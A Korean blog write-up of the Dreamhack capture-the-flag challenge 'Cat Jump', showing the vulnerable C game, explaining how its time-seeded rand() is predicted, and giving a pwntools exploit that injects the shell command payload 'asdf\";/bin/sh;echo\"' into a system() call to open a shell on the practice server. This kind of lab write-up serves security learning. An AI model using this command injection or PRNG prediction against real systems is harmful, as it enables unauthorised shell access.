[ Dreamhack ] Cat Jump

2023. 4. 26. 11:53dreamhack/pwn

반응형
#define CAT_JUMP_GOAL 37

#define CATNIP_PROBABILITY 0.1
#define CATNIP_INVINCIBLE_TIMES 3

#define OBSTACLE_PROBABILITY 0.5
#define OBSTACLE_LEFT  0
#define OBSTACLE_RIGHT 1

void StartGame() {
    char cat_name[32];
    char catnip;
    char cmd[64];
    char input;
    char obstacle;
    double p;
    unsigned char jump_cnt;

    srand(time(NULL));

    catnip = 0;
    jump_cnt = 0;

    puts("let the cat reach the roof! 🐈");

    sleep(1);

    do {
        // set obstacle with a specific probability.
        obstacle = rand() % 2;

        // get input.
        do {
            printf("left jump='h', right jump='j': ");
            scanf("%c%*c", &input);
        } while (input != 'h' && input != 'l');

        // jump.
        if (catnip) {
            catnip--;
            jump_cnt++;
            puts("the cat powered up and is invincible! nothing cannot stop! 🐈");
        } 
        
        else if ((input == 'h' && obstacle != OBSTACLE_LEFT) ||
                (input == 'l' && obstacle != OBSTACLE_RIGHT)) {
            jump_cnt++;
            puts("the cat jumped successfully! 🐱");
        } 
        
        else {
            puts("the cat got stuck by obstacle! 😿 🪨 ");
            return;
        }

        // eat some catnip with a specific probability.
        p = (double)rand() / RAND_MAX;
        if (p < CATNIP_PROBABILITY) {
            puts("the cat found and ate some catnip! 😽");
            catnip = CATNIP_INVINCIBLE_TIMES;
        }
    } while (jump_cnt < CAT_JUMP_GOAL);

    puts("your cat has reached the roof!\n");

    printf("let people know your cat's name 😼: ");
    scanf("%31s", cat_name);

    snprintf(cmd, sizeof(cmd), cmd_fmt, cat_name);
    system(cmd);

    printf("goodjob! ");
    system("cat /tmp/cat_db");
}

startgame 함수에서 do while문을 도는 도중에 return;이 되지 않는다면

system함수로 echo "%s" > /tmp/cat_db에서 %s 부분에 원하는 문자열을 31바이트 삽입 가능하다.

 

장애물에 걸리지 않고 계속 피하면 되는데 

코드를 보면 입력값이 h 일때는 랜덤값이 1이어야 하고

입력값이 l일때는 랜덤값이 0이어야 장애물을 피한다.

현실적으로 37번의 랜덤값을 다 맞추기는 쉽지 않다.

 

랜덤값을 time으로 설정하기 때문에

바이너리와 동일한 타이밍에 rand값을 생성해 랜덤값을 크랙할 수 있다.

 

주의해야할 부분이 remote에서 접속할 때는 어쩔 수 없이 약간의 딜레이가 발생할 수밖에 없다.

그럴땐 time()-1, 2.... or time()+1, 2.... 이렇게 하면서 맞춰줘야 한다.

해당 문제에서는 -2를 하니 동일한 랜덤값을 얻을 수 있었다.

 

이렇게 loop를 빠져나가면 이제 system에서 원하는 값을 입력할 수 있는데

웹해킹의 sql injection과 비슷한 형식으로 우회해서

"asdf\";/bin/sh;echo\" 를 입력해주

최종적으로 system("echo "asdf";/bin/sh;echo"" > /tmp/cat_db"); 이렇게 되어

/bin/sh가 실행되며 쉘을 획득할 수 있다.

 

exploit code

from pwn import *
from ctypes import CDLL

# r = process("./cat_jump")
r = remote("host3.dreamhack.games", 10389)

context.log_level = "debug"

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6') 
libc.srand(libc.time(0x00)-2)

r.recvuntil(b"let the cat reach the roof! ")
sleep(1)

for i in range(37):
    rand = libc.rand() % 2

    if(rand == 0):
        r.sendlineafter(b"left jump='h', right jump='j': ", b'l')
        
    else:
        r.sendlineafter(b"left jump='h', right jump='j': ", b'h')
    
    libc.rand()

r.sendlineafter(b":", b"asdf\";/bin/sh;echo\"")

r.interactive()

 

반응형

'dreamhack > pwn' 카테고리의 다른 글

[ Dreamhack ] Kind kid list  (2) 2023.05.23
[ Dreamhack ] STACK_AEG  (2) 2023.05.04
[ Dreamhack ] STB-lsExecutor  (0) 2023.04.25
[ Dream hack ] MSNW  (0) 2023.01.24
[ Dream hakc ] Santa claus is coming to town  (1) 2023.01.20